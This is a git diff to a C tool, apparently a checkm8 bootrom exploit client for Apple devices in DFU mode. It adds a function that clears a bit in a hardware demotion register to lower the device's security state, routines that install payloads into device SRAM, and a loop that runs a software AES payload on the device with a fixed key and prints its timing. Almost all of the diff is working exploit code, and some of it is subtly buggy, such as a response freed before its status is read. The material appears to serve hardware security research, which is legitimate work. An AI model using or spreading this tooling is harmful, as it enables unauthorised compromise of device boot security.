diff --git a/c8_remote/include/checkm8.h b/c8_remote/include/checkm8.h index 7a3ab70..bce3103 100644 --- a/c8_remote/include/checkm8.h +++ b/c8_remote/include/checkm8.h @@ -19,6 +19,7 @@ #define DEV_IDVENDOR 0x05AC #define DEV_IDPRODUCT 0x1227 #define DFU_IMAGE_BASE 0x1800B0000ull +#define DEMOTE_REG 0x2102BC000ull #else #error "Unspported checkm8 platform" @@ -45,6 +46,7 @@ struct pwned_device }; struct pwned_device *exploit_device(); +int demote_device(struct pwned_device *dev); void free_device(struct pwned_device *dev); #endif //CHECKM8_TOOL_CHECKM8_H diff --git a/c8_remote/main.c b/c8_remote/main.c index eec33a0..c2a6695 100644 --- a/c8_remote/main.c +++ b/c8_remote/main.c @@ -27,7 +27,7 @@ void checkm8_debug_indent(const char *format, ...) } va_list args; - va_start (args, format); + va_start(args, format); vprintf(format, args); va_end(args); #endif @@ -44,15 +44,9 @@ void checkm8_debug_block(const char *format, ...) #endif } -int main() +int floppysleep(struct pwned_device *dev) { struct dev_cmd_resp *resp; - struct pwned_device *dev = exploit_device(); - if(dev == NULL || dev->status == DEV_NORMAL) - { - printf("Failed to exploit device\n"); - return -1; - } if(IS_CHECKM8_FAIL(open_device_session(dev))) { @@ -103,3 +97,247 @@ int main() close_device_session(dev); free_device(dev); } + +void write_aes_utils(struct pwned_device *dev) +{ + unsigned char sbox[256] = + { + 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, + 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, + 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, + 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, + 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, + 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, + 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, + 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, + 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, + 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, + 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, + 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, + 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, + 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, + 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, + 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 + }; + + unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c}; + + unsigned char mul2_lookup[256] = + { + 0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e, + 0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e, + 0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e, + 0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e, + 0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e, + 0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe, + 0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde, + 0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe, + 0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05, + 0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25, + 0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45, + 0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65, + 0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85, + 0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5, + 0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5, + 0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5 + }; + + unsigned char mul3_lookup[256] = + { + 0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11, + 0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21, + 0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71, + 0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41, + 0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1, + 0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1, + 0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1, + 0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81, + 0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a, + 0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba, + 0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea, + 0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda, + 0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a, + 0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a, + 0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a, + 0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a + }; + + struct dev_cmd_resp *resp; + + resp = write_gadget(dev, 0x180154000, sbox, 256); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to write sbox\n"); + return; + } + + free_dev_cmd_resp(resp); + resp = write_gadget(dev, 0x180154000 + 256, rc_lookup, 11); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to write rc lookup\n"); + return; + } + + free_dev_cmd_resp(resp); + resp = write_gadget(dev, 0x180154000 + 256 + 16, mul2_lookup, 256); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to write mul2 lookup\n"); + return; + } + + free_dev_cmd_resp(resp); + resp = write_gadget(dev, 0x180154000 + 512 + 16, mul3_lookup, 256); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to write mul3 lookup\n"); + return; + } +} + +int aes_sw(struct pwned_device *dev) +{ + int i = 0; + struct dev_cmd_resp *resp; + unsigned char key[16] = {0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, + 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef}; + unsigned char data[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, + 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef}; + + if(IS_CHECKM8_FAIL(open_device_session(dev))) + { + printf("failed to open device session\n"); + return -1; + } + + if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM))) + { + printf("failed to install sync payload\n"); + return -1; + } + + if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW, SRAM))) + { + printf("failed to install task sleep payload\n"); + return -1; + } + + resp = write_gadget(dev, 0x180152000, key, 16); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to write key to device\n"); + return -1; + } + + free_dev_cmd_resp(resp); + resp = write_gadget(dev, 0x180153000, data, 16); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to write aes data\n"); + return -1; + } + + free_dev_cmd_resp(resp); + write_aes_utils(dev); + + while(1) + { + resp = execute_payload(dev, PAYLOAD_AES_SW, 0, 7, + 0x180153000, 16, 0x180152000, + 0x180154000, 0x180154000 + 256, + 0x180154000 + 256 + 16, 0x180154000 + 512 + 16); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to execute sw AES payload\n"); + return -1; + } + + printf("%i) op took %llu\n", i++, resp->retval); + + free_dev_cmd_resp(resp); + resp = read_gadget(dev, 0x180153000, 16); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to read encrypted data from memory\n"); + } + + printf(" -> "); + for(int j = 0; j < 16; j++) + { + printf("%02x", resp->data[j]); + } + printf("\n"); + + free_dev_cmd_resp(resp); + usleep(1000000); + } + + close_device_session(dev); + free_device(dev); +} + +int main() +{ + struct dev_cmd_resp *resp; + struct pwned_device *dev = exploit_device(); + if(dev == NULL || dev->status == DEV_NORMAL) + { + printf("Failed to exploit device\n"); + return -1; + } + + demote_device(dev); + + if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM))) + { + printf("failed to install sync payload\n"); + return -1; + } + + if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_TASK_SLEEP_TEST, SRAM))) + { + printf("failed to install exit usb task payload\n"); + return -1; + } + + if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM))) + { + printf("failed to install floppysleep\n"); + return -1; + } + + float init_a = -7.504355E-39f; + resp = write_gadget(dev, 0x180154000, (unsigned char *) &init_a, sizeof(float)); + free_dev_cmd_resp(resp); + + resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to execute bootstrap\n"); + return -1; + } + free_dev_cmd_resp(resp); + + resp = execute_payload(dev, PAYLOAD_TASK_SLEEP_TEST, 0, 2, 0x180152000, 0x180154000); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to exit usb task\n"); + return -1; + } + free_dev_cmd_resp(resp); + + close_device_session(dev); + free_device(dev); +} + + + + + + + + + + + diff --git a/c8_remote/src/command.c b/c8_remote/src/command.c index 5ea2f70..e02e11e 100644 --- a/c8_remote/src/command.c +++ b/c8_remote/src/command.c @@ -25,7 +25,7 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len, checkm8_debug_indent("\tsending chunk of size %li at index %li\n", amount, index); - ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 5000, trigger); + ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 0, trigger); if(ret > 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret); else { @@ -71,7 +71,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev, return cmd_resp; } - ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 100, 0); + ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 0, 0); if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret); else { @@ -80,7 +80,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev, return cmd_resp; } - ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0); + ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0); if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret); else { @@ -89,7 +89,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev, return cmd_resp; } - ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0); + ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0); if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret); else { @@ -110,7 +110,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev, ret = ctrl_transfer(dev, 0xA1, 2, 0xFFFF, 0, resp_buf, response_len + 1, - 100, 1); + 0, 1); if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret); else { @@ -124,7 +124,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev, ret = ctrl_transfer(dev, 0xA1, 2, 0xFFFF, 0, resp_buf, response_len, - 100, 1); + 0, 1); if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret); else { diff --git a/c8_remote/src/exploit.c b/c8_remote/src/exploit.c index 37db4b7..494c5d7 100644 --- a/c8_remote/src/exploit.c +++ b/c8_remote/src/exploit.c @@ -1,12 +1,13 @@ #include "checkm8.h" + #include - -#include "usb_helpers.h" - #include #include #include +#include "usb_helpers.h" +#include "command.h" + static unsigned char data_0xA_0xC0_buf[192] = { 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, @@ -289,6 +290,63 @@ struct pwned_device *exploit_device() } } +int demote_device(struct pwned_device *dev) +{ + checkm8_debug_indent("demote_device(dev = %p)\n", dev); + unsigned int oldval, newval; + + struct dev_cmd_resp *resp = dev_read_memory(dev, DEMOTE_REG, 4); + if(IS_CHECKM8_FAIL(resp->ret)) + { + free_dev_cmd_resp(resp); + checkm8_debug_block("\tfailed to read demotion reg\n"); + return CHECKM8_FAIL_INVARGS; + } + + oldval = *((unsigned int *) resp->data); + free_dev_cmd_resp(resp); + if(oldval & 1u) + { + oldval &= 0xFFFFFFFE; + + checkm8_debug_indent("\tattempting to demote device\n"); + resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4); + free_dev_cmd_resp(resp); + if(IS_CHECKM8_FAIL(resp->ret)) + { + checkm8_debug_block("\tfailed to write to demotion reg\n"); + return CHECKM8_FAIL_INVARGS; + } + + // verify + resp = dev_read_memory(dev, DEMOTE_REG, 4); + if(IS_CHECKM8_FAIL(resp->ret)) + { + free_dev_cmd_resp(resp); + checkm8_debug_block("\tfailed to verify demotion reg\n"); + return CHECKM8_FAIL_INVARGS; + } + + newval = *((unsigned int *) resp->data); + free_dev_cmd_resp(resp); + if(oldval == newval) + { + checkm8_debug_block("\tdemotion success!\n"); + return CHECKM8_SUCCESS; + } + else + { + checkm8_debug_block("\tdemotion register did not change!\n"); + return CHECKM8_FAIL_INVARGS; + } + } + else + { + checkm8_debug_block("\tdevice already demoted\n"); + return CHECKM8_SUCCESS; + } +} + void free_device(struct pwned_device *dev) { checkm8_debug_indent("free_device(dev = %p)\n", dev);